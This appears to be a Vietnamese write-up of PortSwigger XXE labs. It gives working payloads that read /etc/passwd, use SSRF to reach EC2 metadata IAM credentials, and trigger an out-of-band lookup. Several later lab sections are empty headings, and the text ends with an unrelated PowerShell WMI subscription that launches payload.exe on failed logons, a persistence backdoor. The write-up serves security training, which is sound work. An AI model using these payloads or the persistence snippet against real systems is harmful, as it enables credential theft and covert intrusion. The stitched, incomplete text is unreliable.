Contents

PortSwigger - XXE

Description

Link lab tại đây

This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response. To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.

Exploitation

Ứng dụng có chức năng kiểm tra hàng tồn kho tại mỗi post của sản phẩm

Khi click Check stock, một POST request gửi đến /product/stock với body là một dạng XML gồm 2 trường query chính là productIdstoreId. Server sẽ trả về số lượng sản phẩm còn lại trong kho.

https://github.com/g03m0n/pics/assets/130943529/9712a902-af1f-41f4-a249-e16ac74f7da0

Tại đây, server không có một cơ chế validate XML nào nên ta có thể định nghĩa một external entity &xxe; mà giá trị của nó là nội dung file /etc/passwd và sử dụng entity &xxe; tại trường productId.

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE keke [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<stockCheck>
  <productId> &xxe; </productId>
  <storeId>1</storeId>
</stockCheck>

https://github.com/g03m0n/pics/assets/130943529/65745beb-6cc5-4b54-b22e-aedb0ee79812

Solved

https://github.com/g03m0n/pics/assets/130943529/ea872258-7363-40c8-81ae-abf8816419a9

Description

Link lab tại đây

This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response. The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive. To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.

Exploitation

Tương tự bài trên, ta sẽ thực hiện SSRF attack để định nghĩa một external entity &xxe; mà giá trị của nó là http://169.254.169.254/ và sử dụng entity tại trường productId.

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/" >]>
<stockCheck>
    <productId> &xxe; </productId>
    <storeId> 2 </storeId>
</stockCheck>

https://github.com/g03m0n/pics/assets/130943529/2e30f12a-1aae-4fc2-8ac4-9939e0afbd72

Tìm ra được folder latest

https://github.com/g03m0n/pics/assets/130943529/7ec35c7a-2c19-49f9-a087-77905f969aa3

Sử dụng đường dẫn trên kết hợp với folder latest ta được:

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest" >]>
<stockCheck>
    <productId> &xxe; </productId>
    <storeId> 2 </storeId>
</stockCheck>

https://github.com/g03m0n/pics/assets/130943529/d095b065-d984-437e-9c26-eae8fddd6403

Lặp đi lặp lại các bước ta tìm ra được endpoint admin: http://169.254.169.254/latest/meta-data/iam/security-credentials/admin

Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" >]>
<stockCheck>
    <productId> &xxe; </productId>
    <storeId> 2 </storeId>
</stockCheck>

https://github.com/g03m0n/pics/assets/130943529/ad5d79cc-6c5c-4112-96ba-ce547c3b575c

Solved

https://github.com/g03m0n/pics/assets/130943529/165bc58d-451f-4c65-a0c9-11daec9ac18d

3. Blind XXE with out-of-band interaction

Description

Link lab tại đây

This lab has a “Check stock” feature that parses XML input but does not display the result. You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain. To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

Exploitation

Đây là một bài lab Blind XXE injection, server không trả về kết quả attacker mong muốn. Vì vậy ta có thể sử dụng kĩ thuật out-of-band sau để tiến hành khai thác. Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE keke [<!ENTITY xxe SYSTEM "http://<COLABORATOR_DOMAIN>">]>
<stockCheck>
    <productId> &xxe; </productId>
    <storeId> 2 </storeId>
</stockCheck>

https://github.com/g03m0n/pics/assets/130943529/441f9e79-d0b4-4168-b26e-3946079254ce

Solved

https://github.com/g03m0n/pics/assets/130943529/36b59f00-1da7-4048-ade0-3574b97cf1d9

Description

Link lab tại đây

Exploitation

Description

Link lab tại đây

Exploitation

Description

Link lab tại đây

Exploitation

Description

Link lab tại đây

Exploitation

Description

Link lab tại đây

Exploitation

Description

Link lab tại đây

Exploitation

$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = ‘root/cimv2’; Name = “UPDATER”; Query = “SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_NTLogEvent’ AND Targetinstance.EventCode = ‘4625’ And Targetinstance.Message Like ‘%fakeuser%’”; QueryLanguage = ‘WQL’} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = “UPDATER”; CommandLineTemplate = “C:\Users\sec560\Desktop\payload.exe”} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}